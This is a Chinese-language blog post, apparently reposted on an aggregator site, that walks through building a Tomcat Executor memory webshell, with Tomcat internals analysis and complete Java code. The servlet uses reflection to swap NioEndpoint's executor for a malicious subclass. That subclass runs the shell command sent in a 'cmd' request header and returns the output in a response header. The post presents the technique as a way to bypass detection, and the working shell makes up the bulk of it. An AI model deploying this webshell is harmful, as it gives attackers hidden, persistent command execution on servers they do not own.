绕过检测之Executor内存马浅析(内存马系列篇五)

news2024/9/29 3:31:41

写在前面

前面已经从代码层面讲解了Tomcat的架构,这是内存马系列文章的第五篇,带来的是Tomcat
Executor类型的内存马实现。有了前面第四篇中的了解,才能更好的看懂内存马的构造。

前置

什么是Executor

Executor是一种可以在Tomcat组件之间进行共享的连接池。

我们可以从代码中观察到对应的描述:

The Executor implementations provided in this package implement
ExecutorService, which is a more extensive interface. The ThreadPoolExecutor
class provides an extensible thread pool implementation. The Executors class
provides convenient factory methods for these Executors.
Memory consistency effects: Actions in a thread prior to submitting a
Runnable object to an Executor happen-before its execution begins, perhaps
in another thread.

image-20220912172909884.png

Executes the given command at some time in the future. The command may
execute in a new thread, in a pooled thread, or in the calling thread, at
the discretion of the Executor implementation.
Params: command – the runnable task
Throws: RejectedExecutionException – if this task cannot be accepted for
execution
NullPointerException – if command is null

对于他的作用,允许为一个Service的所有Connector配置一个共享线程池。

在运行多个Connector的状况下,这样处理非常有用,而且每个Connector必须设置一个maxThread值,但不希望Tomcat实例并发使用的线程最大数永远与所有连接器maxThread数量的总和一样高。

这是因为如果这样处理,则需要占用太多的硬件资源。相反,您可以使用Executor元素配置一个共享线程池,而且所有的Connector都能共享这个线程池。

分析流程

通过上篇文章的分析我们知道,

在启动Tomcat的时候首先会。

调用启动类,并传入参数start预示着Tomcat启动:

image-20220912175409785.png

这里调用start方法进行相关配置的初始化操作,

一直走到了org.apache.catalina.startup.Catalina类中load方法中调用了。this.getServer().init()方法进行Server的初始化操作,

即调用了LifecycleBase#init方法,进而调用了initInternal方法,即来到了他的实现类StandardServer#initInternal中来了。

image-20220912180117577.png

上篇中也提到过,将会循环的调用所有service的init方法,进而调用了StandardService#initInternal方法进行初始化,调用了Engine#init方法,因为没有配置Executor,所以在初始化的时候不会调用他的init方法,之后再调用mapperListener.init()进行Listener的初始化操作,在获取了所有的connector之后将会循环调用其init方法进行初始化。

image-20220912180558740.png

在初始化结束之后将会调用start方法

image-20220912193917307.png

即调用了Bootstrap#start方法,进而调用了Server.start方法

来到了StandardService#startInternal方法,紧跟着调用了上面调用了Init方法的start方法,成功启动Tomcat。

正文

接下来我们来分析一下为什么选用Executor来构造内存马,和如构造内存的流程。

分析注入方式

在成功开启了Tomcat之后,我们可以在Executor中的execute方法中打下断点,

image-20220912195616660.png

之后运行访问8080端口

在前面那一篇文章中我们知道Acceptor是生产者,而Poller是消费者,

在执行Endpoint.start()会开启Acceptor线程来处理请求。

在其run方法中存在

  1. 运行过程中,如果Endpoint暂停了,则Acceptor进行自旋(间隔50毫秒);

  2. 如果Endpoint终止运行了,则Acceptor也会终止;

  3. 如果请求达到了最大连接数,则wait直到连接数降下来;

  4. 接受下一次连接的socket。

这一步己经在运行Tomcat容器的时候已经进行了,

在我们访问Tomcat的页面之后将会创建一个线程,并调用target属性的run方法,这里的target就是Poller对象(消费者)。

image-20220912201105821.png

即调用了NioEndpoint$Poller#run方法,跟进

public void run() {
    while(true) {
        boolean hasEvents = false;

        label58: {
            try {
                if (!this.close) {
                    hasEvents = this.events();
                    if (this.wakeupCounter.getAndSet(-1L) > 0L) {
                        this.keyCount = this.selector.selectNow();
                    } else {
                        this.keyCount = this.selector.select(NioEndpoint.this.selectorTimeout);
                    }

                    this.wakeupCounter.set(0L);
                }

                if (!this.close) {
                    break label58;
                }

                this.events();
                this.timeout(0, false);

                try {
                    this.selector.close();
                } catch (IOException var5) {
                    NioEndpoint.log.error(AbstractEndpoint.sm.getString("endpoint.nio.selectorCloseFail"), var5);
                }
            } catch (Throwable var6) {
                ExceptionUtils.handleThrowable(var6);
                NioEndpoint.log.error("", var6);
                continue;
            }

            NioEndpoint.this.getStopLatch().countDown();
            return;
        }

        if (this.keyCount == 0) {
            hasEvents |= this.events();
        }

        Iterator iterator = this.keyCount > 0 ? this.selector.selectedKeys().iterator() : null;

        while(iterator != null && iterator.hasNext()) {
            SelectionKey sk = (SelectionKey)iterator.next();
            iterator.remove();
            NioEndpoint.NioSocketWrapper socketWrapper = (NioEndpoint.NioSocketWrapper)sk.attachment();
            if (socketWrapper != null) {
                this.processKey(sk, socketWrapper);
            }
        }

        this.timeout(this.keyCount, hasEvents);
    }
}

首先调用了events方法,查看队列中是否有Pollerevent事件,如果有就将其取出,然后把里面的Channel取出来注册到该Selector中,然后通过迭代器查看所有注册过的Channel查看是否有事件发生。
当有事件发生时,则调用SocketProcessor交给Executor执行。

调用了processKey(sk, socketWrapper)进行处理,

image-20220912213133643.png

该方法又会根据key的类型,来分别处理读和写,

  1. 处理读事件,比如生成Request对象;

  2. 处理写事件,比如将生成的Response对象通过socket写回客户端;

这里处理的是读事件,所以调用了processSocket方法,

image-20220912213448088.png

首先从processorCache中弹出一个Processor来处理socket,

之后调用getExecutor方法获取一个Executor对象。

image-20220912214811923.png

这里的executor是endpoint自己启动的ThreadPoolExecutor类,

在之后将会调用其execute方法。

image-20220912215239958.png

既然它能够调用Executor类的execute方法,那么我们可以创建一个恶意的Executor类继承ThreadPoolExecutor,并重写其中的execute方法,那么在调用该方法的时候将会执行我们的恶意代码。

但是,怎么才能将其中的executor属性值替换成我们的恶意Executor类呢?

我们可以注意到在AbstractEndpoint类中,我们在调用processSocket方法时候提取出来了executor属性值,那么是否有对应的setter方法呢?

image-20220912215740978.png

是的存在一个setExecutor方法,能够替换掉原来的executor属性值,之后在消费者消费的同时将会执行我们的恶意代码。

那么如果编写我们的恶意代码呢?

起码需要实现命令执行和回显的功能吧。

我们总需要获取到reqeust对象,出去对应的参数值,进行命令执行~

我们可以通过项目https://github.com/c0ny1/java-object-searcher来查找利用链,

我们可以发现在当前线程中的可以找到该请求:

((Http11InputBuffer)((NioChannel)((Object[])((SynchronizedStack)((NioEndpoint)((Acceptor)((Thread)this).group.threads[6].target).this$0).nioChannels).stack)[0]).appReadBufHandler).byteBuffer.hb

可以将这段带入Evaluate进行计算,

image-20220912234357270.png

在这里我们能够获取到我们传入的参数值,之后就可以将其提取出来,进行执行命令。

后面就需要一个回显,回显命令执行之后的结果,如何回显?

我们可以观察到在AbstractProcessor类的构造方法中将会初始化一个Request和Response对象,

image-20220912235935342.png

既然我们需要做出回显,那么我们需要寻找response在哪里,同样可以通过前面那个项目快速搜索到。

((Request)((RequestInfo)((java.util.ArrayList)((RequestGroupInfo)((ConnectionHandler)((NioEndpoint)((Acceptor)((ThreadGroup)((TaskThread)this).group).threads[6].target).this$0).handler).global).processors).get(0)).req).response

image-20220913000750243.png

在知道了reponse的位置之后,我们就能过获取到对应的数据了。

此时的调用栈

prepareResponse:1081, Http11Processor (org.apache.coyote.http11)
action:384, AbstractProcessor (org.apache.coyote)
action:208, Response (org.apache.coyote)
sendHeaders:421, Response (org.apache.coyote)
doFlush:310, OutputBuffer (org.apache.catalina.connector)
close:270, OutputBuffer (org.apache.catalina.connector)
finishResponse:446, Response (org.apache.catalina.connector)
service:395, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

prepareResponse方法中,将会对response进行再次封装,我们只需要提前将我们命令执行后的结果放在reponse中,我们就可以得到回显了。

怎么写入reponse结构中呢?这里不想前面的三种内存马,能够直接创建回显,这里稍微复杂一点,我们可以来到org.apache.catalina.connector.Response这个类中。

image-20220913001636776.png

继承了HttpServletReponse接口,

image-20220913001807060.png

封装了很多方法,可以通过这些方法将回显的数据传回。

所以我们可以得到构造Executor内存马的流程:

  1. 首先获取对应的NioEndpoint(对比上面分析的request和response位置,我们可以知道有一个共同点);

  2. 获取对应的executor属性;

  3. 创建一个恶意的executor;

  4. 将恶意的executor传入。

手把手构造

我们可以通过在当前线程获取NioEndpoint类,为什么可以从当前线程找到呢?

我们可以查看上面寻找request的内存对象路径,

((Http11InputBuffer)((NioChannel)((Object[])((SynchronizedStack)((NioEndpoint)((Acceptor)((Thread)this).group.threads[6].target).this$0).nioChannels).stack)[0]).appReadBufHandler).byteBuffer.hb

其中有一段就是NioEndpoint类,

((NioEndpoint)((Acceptor)((Thread)this).group.threads[6].target).this$0)

所以我们可以编写获取方法,

public Object getNioEndpoint() {
    // 获取当前线程的所有线程
    Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
    for (Thread thread : threads) {
        try {
            // 需要获取线程的特征包含Acceptor
            if (thread.getName().contains("Acceptor")) {
                Object target = getField(thread, "target");
                Object nioEndpoint = getField(target, "this$0");
                return nioEndpoint;
            }
        } catch (Exception e) {
            continue;
        }
    }
    // 没有获取到对应Endpoint,返回一个空对象
    return new Object();
}

之后获取NioEndpoint类的executor属性,

本身在NioEndpoint类中并没有executor属性,但是我们可以观察该类的继承关系。

image-20220913114245364.png

在他的父类AbstractEndpoint类中是存在这个属性的,

ThreadPoolExecutor executor = (ThreadPoolExecutor) getField(nioEndpoint, "executor");

之后我们需要创建一个恶意的executor,需要实现命令执行和回显操作。

这一步可以分为好几步,首先需要获取到request对象中需要执行的命令,

对于request对象的获取可以结合上面贴的Evaluate进行构造:

public String getRequest() {
    try {
        // 通过调用getNioEndpoint方法获取到NioEndpoint对象
        Object nioEndpoint = getNioEndpoint();
        // 获取到stack数组
        Object[] objects = (Object[]) getField(getField(nioEndpoint, "nioChannels"), "stack");
        // 获取到Buffer
        ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
        String req = new String(heapByteBuffer.array(), "UTF-8");
        // 分割出command
        String cmd = req.substring(req.indexOf("cmd") + "cmd".length() + 1, req.indexOf("\r", req.indexOf("cmd")) - 1);
        return cmd;
    } catch (Exception e) {
        System.out.println(e);
        return null;
    }
}

大概提一下,为什么这里是+1不是+1不是我们在请求头冒号后面不是有一个空格吗,不是应该+2嘛,不是的,通过调用,我发现在获取的req中并没有空格存在,所以这里是+1。

而后面为什么要-1,就是因为在获取req中最后一个字符又存在两次,

image-20220913151232613.png

之后同样需要能够将执行结果写入reponse,

同样,因为response是封装在req对象中的,由此思路可以在当前线程中获取到response对象。

之后通过addHeader方法将结果写入返回头中,

// 获取命令执行返回的回显结果
public void getResponse(byte[] res) {
    try {
        // 获取NioEndpoint对象
        Object nioEndpoint = getNioEndpoint();
        // 获取线程中的response对象
        ArrayList processors = (ArrayList) getField(getField(getField(nioEndpoint, "handler"), "global"), "processors");
        // 遍历获取response
        for (Object processor : processors) {
            RequestInfo requestInfo = (RequestInfo) processor;
            // 获取到封装在req的response
            Response response = (Response) getField(getField(requestInfo, "req"), "response");
            // 将执行的结果写入response中
            response.addHeader("Execute-result", new String(res, "UTF-8"));
        }
    } catch (Exception e) {

    }
}

最后一步就是重写Exector的execute方法了。

执行命令,将结果输入流写入response中去,

public void execute(Runnable command) {
    // 获取command
    String cmd = getRequest();
    try {
        String[] cmds = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
        byte[] result = new java.util.Scanner(new ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next().getBytes();
        getResponse(result);
    } catch (Exception e) {

    }

    this.execute(command, 0L, TimeUnit.MILLISECONDS);
}

最后就需要将我们构造的恶意executor传入,

nioEndpoint.setExecutor(exe);

完整的内存马

package pres.test.momenshell;

import org.apache.coyote.Response;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.NioEndpoint;
import org.apache.tomcat.util.threads.ThreadPoolExecutor;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.TimeUnit;

public class AddTomcatExecutor extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doPost(req, resp);
    }

    public Object getField(Object obj, String field) {
        // 递归获取类的及其父类的属性
        Class clazz = obj.getClass();
        while (clazz != Object.class) {
            try {
                Field declaredField = clazz.getDeclaredField(field);
                declaredField.setAccessible(true);
                return declaredField.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }

    public Object getNioEndpoint() {
        // 获取当前线程的所有线程
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            try {
                // 需要获取线程的特征包含Acceptor
                if (thread.getName().contains("Acceptor")) {
                    Object target = getField(thread, "target");
                    Object nioEndpoint = getField(target, "this$0");
                    return nioEndpoint;
                }
            } catch (Exception e) {
                e.printStackTrace();
                continue;
            }
        }
        // 没有获取到对应Endpoint,返回一个空对象
        return new Object();
    }
    class executorEvil extends ThreadPoolExecutor {
        public executorEvil(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
            super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
        }
        public String getRequest() {
            try {
                // 通过调用getNioEndpoint方法获取到NioEndpoint对象
                Object nioEndpoint = getNioEndpoint();
                // 获取到stack数组
                Object[] objects = (Object[]) getField(getField(nioEndpoint, "nioChannels"), "stack");
                // 获取到Buffer
                ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
                String req = new String(heapByteBuffer.array(), "UTF-8");
                // 分割出command
                String cmd = req.substring(req.indexOf("cmd") + "cmd".length() + 1, req.indexOf("\r", req.indexOf("cmd")) - 1);
                return cmd;
            } catch (Exception e) {
                e.printStackTrace();
                return null;
            }
        }
        // 获取命令执行返回的回显结果
        public void getResponse(byte[] res) {
            try {
                // 获取NioEndpoint对象
                Object nioEndpoint = getNioEndpoint();
                // 获取线程中的response对象
                ArrayList processors = (ArrayList) getField(getField(getField(nioEndpoint, "handler"), "global"), "processors");
                // 遍历获取response
                for (Object processor : processors) {
                    RequestInfo requestInfo = (RequestInfo) processor;
                    // 获取到封装在req的response
                    Response response = (Response) getField(getField(requestInfo, "req"), "response");
                    // 将执行的结果写入response中
                    response.addHeader("Execute-result", new String(res, "UTF-8"));
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        @Override
        public void execute(Runnable command) {
            // 获取command
            String cmd = getRequest();
            try {
                String[] cmds = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
                byte[] result = new java.util.Scanner(new ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next().getBytes();
                getResponse(result);
            } catch (Exception e) {
                e.printStackTrace();
            }

            this.execute(command, 0L, TimeUnit.MILLISECONDS);
        }
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        // 从线程中获取NioEndpoint类
        NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();
        // 获取executor属性
        ThreadPoolExecutor executor = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
        // 实例化我们的恶意executor类
        executorEvil evil = new executorEvil(executor.getCorePoolSize(), executor.getMaximumPoolSize(), executor.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, executor.getQueue(), executor.getThreadFactory(), executor.getRejectedExecutionHandler());
        // 将恶意类传入
        nioEndpoint.setExecutor(evil);
    }
}

简单示例

我们可以创建一个继承了HttpServlet的类,就是上面的完整内存马。

我们通过方法这个Servlet的方法写入内存马,

在web.xml中添加路由映射,

<servlet>
    <servlet-name>AddTomcatExecutor</servlet-name>
    <servlet-class>pres.test.momenshell.AddTomcatExecutor</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>AddTomcatExecutor</servlet-name>
    <url-pattern>/addTomcatExecutor</url-pattern>
</servlet-mapping>

在开启Tomcat之后,访问该路由,

将会成功写入内存马,

之后通过burp发送数据包,加上一个cmd的请求头,后面包含执行的命令。

image-20220913153442864.png

成功执行命令并回显。

总结

这个是一个比较新颖的内存马思路,使用了Connector中的组件构造出了独特的内存马。

同样可以一定程度上绕过检测与查杀,当然后面会有几篇和查杀有关的篇章,将会进行比较各个内存马的差异。

构造内存马思路:

  1. 首先获取对应的NioEndpoint(对比上面分析的request和response位置,我们可以知道有一个共同点);

  2. 获取对应的executor属性;

  3. 创建一个恶意的executor;

  4. 将恶意的executor传入。

Reference

https://xz.aliyun.com/t/11593

<servlet-mapping>
    <servlet-name>AddTomcatExecutor</servlet-name>
    <url-pattern>/addTomcatExecutor</url-pattern>
</servlet-mapping>

在开启Tomcat之后,访问该路由,

将会成功写入内存马,

之后通过burp发送数据包,加上一个cmd的请求头,后面包含执行的命令。

[外链图片转存中…(img-8WKenPeC-1677499445548)]

成功执行命令并回显。

总结

这个是一个比较新颖的内存马思路,使用了Connector中的组件构造出了独特的内存马。

同样可以一定程度上绕过检测与查杀,当然后面会有几篇和查杀有关的篇章,将会进行比较各个内存马的差异。

构造内存马思路:

  1. 首先获取对应的NioEndpoint(对比上面分析的request和response位置,我们可以知道有一个共同点);

  2. 获取对应的executor属性;

  3. 创建一个恶意的executor;

  4. 将恶意的executor传入。

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/375508.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

FastDDS-0.简介

FastDDS简介 eProsima Fast DDS 是 DDS (Data Distribution Service) 协议的一个C语言实现版本&#xff0c;该协议由 Object Management Group (OMG) 组织定义。 eProsima Fast DDS 库既提供了一个应用编程接口&#xff08;API&#xff09;&#xff0c;又提供了一种通信协议&a…

Qt——自定义Model

众所周知&#xff0c;Qt提供了一套Model/View框架供开发者使用&#xff0c;Model用来提供数据&#xff0c; View则用来提供视觉层的显示。实际上这是一套遵循MVC设计模式的GUI框架&#xff0c;因为Qt还提供了默认的Delegate作为Controller来作为控制器。 MVC的好处这里就不多说…

关于Ubuntu18.04 root账户登录的问题

关于Ubuntu18.04 root账户登录的问题一、 Ubuntu 18.04添加root用户登录1. 设置root用户2. 修改/root/.profile3. 修改/etc/pam.d目录下的gdm-autologin和gdm-password4. 修改50-ubuntu.conf5. 登录root账户二、Ubuntu18.04不能远程使用root账户登录的问题1. 修改sshd_config2.…

叠氮试剂79598-53-1,6-Azidohexanoic Acid,6-叠氮基己酸,末端羧酸可与伯胺基反应

●中文名&#xff1a;6-叠氮基己酸●英文名&#xff1a;6-Azidohexanoic Acid&#xff0c;6-Azidohexanoic COOH●外观以及性质&#xff1a;西安凯新生物科技有限公司供应的6-Azidohexanoic Acid浅黄色或者无色油状&#xff0c;叠氮化物可使用铜催化的Click化学与末端炔烃共轭&…

【深度探讨】如何利用区块链改善公共服务

发表时间&#xff1a;2022年5月4日 信息来源&#xff1a;bsvblockchain.org BSV区块链协会全力支持符合企业和政府对于节能降耗和合法合规等相关要求的区块链生态系统。 然而&#xff0c;虽然监管机构负责其监管范围内的技术服务的性质、目的和影响&#xff0c;但他们并不是全…

金三银四了,只能每天整理一下软件测试面试题给大家多多学习了,祝大家金三银四升职加薪,奥利给!

最近有童鞋和我抱怨&#xff0c;说网上很难搜到那些全面又合适的自动化测试面试题&#xff0c;这里根据我个人的经验以及收集整理的&#xff1a; 我还在文章最后面准备了一套视频&#xff0c;是关于简历和面试题方面的&#xff0c;真心建议现在在准备面试的兄弟去看看&#xf…

YB菜菜的毫米波雷达自学之路(四)——浅谈角度模糊

YB菜菜的毫米波雷达自学之路&#xff08;四&#xff09;——浅谈角度模糊前提说明主要内容&#xff1a;1. 一维平面天线阵列模糊函数及相关阐述1.1角度模糊函数定义1.2角度模糊函数案例与分析1.2.1 雷达阵列信息1.2.2 基础参数分析1.2.3 模糊函数图与波束方向图的关系探索与疑问…

华为OD机试模拟题 用 C++ 实现 - 简易压缩算法(2023.Q1)

最近更新的博客 【华为OD机试模拟题】用 C++ 实现 - 最多获得的短信条数(2023.Q1)) 文章目录 最近更新的博客使用说明简易压缩算法题目输入输出示例一输入输出说明示例二输入输出说明示例三输入输出说明

②【Java 组】蓝桥杯省赛真题解析 [振兴中华] [三部排序] 持续更新中...

个人简介&#xff1a;Java领域新星创作者&#xff1b;阿里云技术博主、星级博主、专家博主&#xff1b;正在Java学习的路上摸爬滚打&#xff0c;记录学习的过程~ 个人主页&#xff1a;.29.的博客 学习社区&#xff1a;进去逛一逛~ 蓝桥杯真题--持续更新中...一、振兴中华二、三…

【无标题】(2019)NOC编程猫创新编程复赛小学组真题含参考

&#xff08;2019&#xff09;NOC编程猫创新编程复赛小学组最后6道大题。前10道是选择填空题 略。 这道题是绘图题&#xff0c;没什么难度&#xff0c;大家绘制这2个正十边形要注意&#xff1a;一是不要超出舞台&#xff1b;二是这2个正十边形不要相交。 这里就不给出具体程序了…

RPC异步化原理

深入RPC&#xff0c;更好使用RPC&#xff0c;须从RPC框架整体性能考虑问题。得知道如何提升RPC框架的性能、稳定性、安全性、吞吐量及如何在分布式下快速定位问题。RPC框架如何压榨单机吞吐量&#xff1f; 1 前言 TPS一直上不去&#xff0c;压测时CPU压到40%&#xff5e;50%就…

Windows离线安装rust

目前rust安装常用的方式就是通过Rustup安装&#xff0c;此安装方式需要访问互联网。在生产环境中由于网络限制&#xff0c;不能直接访问互联网或者不能访问目标网站&#xff0c;这时候需要用离线安装的方式&#xff0c;本文将详细介绍离线安装步骤&#xff0c;并给出了vscode如…

记一次java.lang.ClassNotFoundException问题排查过程

记一次java.lang.ClassNotFoundException问题排查过程 同事提供一个or-simulation-engine.jar包&#xff08;非maven项目&#xff0c;内部依赖很多其他jar&#xff0c;这个包是手动打出来的&#xff09;给我&#xff0c;我集成到我的springboot项目中&#xff0c;在本地IDEA启…

网上招聘系统

技术&#xff1a;Java、JSP等摘要&#xff1a;当今&#xff0c;人类社会已经进入信息全球化和全球信息化、网络化的高速发展阶段。丰富的网络信息已经成为人们工作、生活、学习中不可缺少的一部分。人们正在逐步适应和习惯于网上贸易、网上购物、网上支付、网上服务和网上娱乐等…

C#多窗口切换

多窗口切换【功能目标】1、实现多窗口切换&#xff08;Panel&#xff09;2、动态生成窗口内文本框以及标签&#xff08;重点&#xff09;3、改变文本框内容【效果图】【代码详解】1、多窗口切换如要实现多窗口切换&#xff0c;需要用到Panel&#xff0c;对于这个控件不熟悉的可…

正演(1): 二维声波正演模拟程序(中心差分)Python实现

目录 1、原理&#xff1a; 1&#xff09;二维声波波动方程: ​编辑 2&#xff09;收敛条件&#xff08;不是很明白&#xff09; 3&#xff09;雷克子波 4&#xff09;二维空间衰减函数 5&#xff09;边界吸收条件 (不是很明白。。) 2、编程实现 1&#xff09;参数设置&…

RNN相关知识总结

目录RNN结构与原理1.模型总览2.反向传播LSTM结构与原理1.模型总览2.如何解决RNN梯度消失/爆炸问题&#xff1f;GRU结构及原理1.模型总览LSTM与GRU的区别RNN结构与原理 1.模型总览 上图是RNN的展开结构图&#xff0c;由输入层、隐藏层和输出层组成。当前时间步t 的隐藏状态hth_…

Spark 分析计算连续三周登录的用户数

前言&#xff1a;本文用到了窗口函数 range between&#xff0c;可以参考这篇博客进行了解——窗口函数rows between 、range between的使用 创建数据环境 在 MySQL 中创建数据测试表 log_data&#xff1a; create table if not exists log_data( log_id varchar(200) comm…

能在软路由docker给部署搭建teamsperk服务器么?并且设置好ddns

参考链接(4条消息) 【个人学习总结】使用docker搭建Teamspeak服务器_blcurtain的博客-CSDN博客_teamspeak3 docker(⊙﹏⊙)哎呀&#xff0c;崩溃啦&#xff01; (tdeh.top)TeamSpeak服务器搭建与使用 - 缘梦の镇 (cmsboy.cn)Openwrt X86 docker运行甜糖-软路由,x86系统,openwrt…

(四)K8S 安装 Nginx Ingress Controller

ingress-nginx 是 Kubernetes 的入口控制器&#xff0c;使用NGINX作为反向代理和负载均衡器 版本介绍 版本1&#xff1a;Ingress NGINX Controller(k8s社区的ingres-nginx) 以 NGINX 开源技术为基础&#xff08;kubernetes.io&#xff09;&#xff0c;可在GitHub的 kubernet…